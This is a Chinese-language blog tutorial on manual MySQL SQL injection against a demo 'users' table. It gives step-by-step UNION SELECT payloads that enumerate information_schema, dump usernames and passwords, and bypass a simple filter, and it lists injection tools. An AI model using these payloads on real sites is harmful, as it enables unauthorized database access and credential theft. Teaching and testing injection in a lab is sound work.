MySql手動(dòng)注入

information_schema

SQL基礎(chǔ)

1.1 什么是sql?

SQL(structured query language),即結(jié)構(gòu)化查詢語言,是關(guān)系數(shù)據(jù)庫的標(biāo)準(zhǔn)語言,SQL是一個(gè)通用的、功能強(qiáng)大的關(guān)系數(shù)據(jù)庫語言,但其功能并不僅僅是查詢。

1.2 mysql

MySQL是一個(gè)關(guān)系型數(shù)據(jù)庫管理系統(tǒng),由瑞典MySQL AB 公司開發(fā),目前屬于 Oracle 旗下產(chǎn)品。另外,MySQL是一種關(guān)聯(lián)數(shù)據(jù)庫管理系統(tǒng),關(guān)聯(lián)數(shù)據(jù)庫將數(shù)據(jù)保存在不同的表中,而不是將所有數(shù)據(jù)放在一個(gè)大倉庫內(nèi),這樣就增加了速度并提高了靈活性。來源于百度百科

SQL注入基礎(chǔ)

2.1 什么是SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。簡單來說,SQL注入就是一種通過操作輸入(可以是表單,可以是get請求,也可以是POST請求等)來插入或修改后臺(tái)SQL語句達(dá)到代碼執(zhí)行從而進(jìn)行攻擊的技術(shù)。

2.2 SQL注入攻擊產(chǎn)生的原因

出現(xiàn)SQL注入攻擊漏洞的主要原因是:許多網(wǎng)頁程序員在編寫代碼的時(shí)候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行嚴(yán)格的判斷和過濾,從而導(dǎo)致應(yīng)用程序存在該漏洞。

2.3 mysql注入攻擊的方法

對于mysql注入常用的方法主要是以下兩種:

(1)手工注入。

(2)使用工具注入

2.4 mysql手工注入原理

在mysql手工注入中主要是利用mysql自帶的information_schema數(shù)據(jù)庫,information_schema這個(gè)數(shù)據(jù)庫保存了MySQL服務(wù)器所有數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等。簡單點(diǎn)說,這臺(tái)MySQL服務(wù)器上,到底有哪些數(shù)據(jù)庫、各個(gè)數(shù)據(jù)庫有哪些表,每張表的字段類型是什么,各個(gè)數(shù)據(jù)庫要什么權(quán)限才能訪問,等等信息都保存在information_schema數(shù)據(jù)庫里面。

mysql手工注入詳解

3.1 基本環(huán)境介紹

涉及數(shù)據(jù)庫:learn,涉及表:users。

表users

3.2 判斷注入點(diǎn)

and 1=1(正常顯示), and 1=2(非正常顯示) ,但不限于此。也可以是3>1(正常顯示),3>5(非正常顯示)等。

3.2.1判斷uid是否存在注入點(diǎn)

本身查詢語句為:SELECT uid,username FROM users WHERE uid=1

本身查詢語句

3.2.2 判斷原理

SELECT uid,username FROM users WHERE uid=1 and 1=1

正常顯示

SELECT uid,username FROM users WHERE uid=1 and 1=2

非正常顯示

3.3 查字段數(shù)

3.3.1 order by排序

order by 主要是用于排序,用法基本為:order by <列名> [ASC | DESC]

列名可以是select后面的列名,也可以是數(shù)字,代表第一列或第幾列!查詢字段數(shù)也是根據(jù)order by排序的列名可以是數(shù)字來進(jìn)行判斷的。

3.3.2 查當(dāng)前查詢中的字段數(shù)

本身查詢語句:SELECT uid,username,phone FROM users WHERE uid=1

本身查詢結(jié)果

查當(dāng)前字段數(shù)目(列數(shù)):order by

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

正常顯示

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

非正常顯示

因?yàn)楫?dāng)前頁面查詢的語句中只查詢?nèi)齻€(gè)字段,所以當(dāng)輸入按照第四列來進(jìn)行排序是就會(huì)出現(xiàn)異常。所以我們可用通過折半來進(jìn)行查詢列數(shù),前一個(gè)正常,后一個(gè)異常,那么該正常的就是當(dāng)前查詢中的列數(shù)。

3.4 查詢字段在頁面中的顯示位置

聯(lián)合查詢數(shù)據(jù)顯示位置,不成立條件+union select(如果前面是成立的話頁面中會(huì)看不到想要的信息),也可以是 前面條件不變+union select + limit m,1。(如果看到頁面中信息有union select查詢中的數(shù)字時(shí),那么也是可以看到字段顯示在頁面中的位置,但是如果查詢信息過多的話則不適用,因此推薦使用前面的那種方式)。

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

顯示查詢字段在頁面中的位置

3.5 查詢基本信息

查詢基本信息主要是利用數(shù)據(jù)庫中的內(nèi)置函數(shù)來獲取信息。

1. version()——MySQL版本

2. user()——用戶名

3. database()——數(shù)據(jù)庫名

4. @@datadir——數(shù)據(jù)庫路徑

5. @@version_compile_os——操作系統(tǒng)版本

我們可以通過將對應(yīng)函數(shù)放到頁面顯示位中的位置數(shù)來查出相應(yīng)信息并顯示在頁面中。

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

查詢基本信息

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

查詢基本信息

另外,我們可以使用字符串連接函數(shù)一次性查詢多條信息:

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)

0x3B是分隔符, ; 的十六進(jìn)制!

使用連接函數(shù)查詢多條信息

連接函數(shù)例子

高級查數(shù)據(jù)庫:

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1

LIMIT 9,1是從第9個(gè)數(shù)據(jù)庫開始查詢一條記錄,使用這個(gè)可以逐個(gè)查詢數(shù)據(jù)庫中有哪些數(shù)據(jù)庫。

高級查數(shù)據(jù)庫

只運(yùn)行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

limit m,n 例子

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

查詢當(dāng)前連接中有哪些數(shù)據(jù)庫

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

查詢當(dāng)前連接中有哪些數(shù)據(jù)庫

3.6 查表名

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

報(bào)錯(cuò)

這里需要將數(shù)據(jù)庫名轉(zhuǎn)化為十六進(jìn)制

轉(zhuǎn)化為十六進(jìn)制

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

查詢指定數(shù)據(jù)庫表名

只運(yùn)行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

原理

原理

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM? information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM? information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM? information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

高級查表

3.7 查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM? (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

查字段

這里可通過limit m,n循環(huán)查詢,也可使用GROUP_CONCAT函數(shù)一次性查詢。

一次性查詢

只運(yùn)行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273

原理

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

原理

這里可以使用limit m,n來逐個(gè)(limit m,1)查詢。

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

查字段

查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

高級查字段

3.8 查字段內(nèi)容

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users

查字段內(nèi)容

這里可使用limit m,1來逐個(gè)查詢,也可以使用GROUP_CONCAT函數(shù)一次性查詢。

使用連接函數(shù)

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users

連接函數(shù)一次性查詢

工具注入

對于使用工具來進(jìn)行注入,最好時(shí)首先手工判斷下,如果是或者懷疑是,那么就可以丟給工具來進(jìn)行注入。

4.1 SQL注入工具

工具有但不限于以下幾種:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。

4.2 工具注入優(yōu)缺點(diǎn)

工具注入是可以節(jié)省很多時(shí)間,但是僅僅靠工具也不一定能利用該漏洞,因?yàn)楣ぞ哂凶约旱木窒扌?,不如手工那么靈活,簡單來說,如果應(yīng)用程序有了一定的過濾,那么就需要靈活地使用手工注入,如果程序在把查詢語句插入到數(shù)據(jù)庫中時(shí)把<>過濾了,那么就可以根據(jù)這一特性進(jìn)行簡單的繞過,如u<>ni<>on s<>el<>ect 1,2,3。

information_schema簡單介紹

直接上圖

用于加深對上面涉及到的相關(guān)信息的理解。詳細(xì)信息請自行查看information_schema數(shù)據(jù)庫里面涉及的相關(guān)表信息!

information_schema

information_schema.columns

information_schema.schemata

information_schema.processlist

information_schema.tables

information_schema.partitions

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 2,045評論 0 2
  • 50個(gè)常用的sql語句Student(S#,Sname,Sage,Ssex) 學(xué)生表Course(C#,Cname...
    哈哈海閱讀 1,334評論 0 7
  • 什么是SQL數(shù)據(jù)庫: SQL是Structured Query Language(結(jié)構(gòu)化查詢語言)的縮寫。SQL是...
    西貝巴巴閱讀 2,001評論 0 10
  • “我什么都有了,但是我卻不快樂。我快樂不起來?!蓖纯唷⒓m結(jié)、焦慮等等。一個(gè)快樂的媽媽養(yǎng)出的孩子肯定是快樂的,一...
    黃小妞兒閱讀 251評論 0 0
  • 與《忠犬八公物語》不同的是,這部影片的側(cè)重點(diǎn)在狗身上,減少了對人際關(guān)系的描述,以及美化了一些情節(jié),讓劇情更加感人一...
    顏人青閱讀 1,256評論 0 1

友情鏈接更多精彩內(nèi)容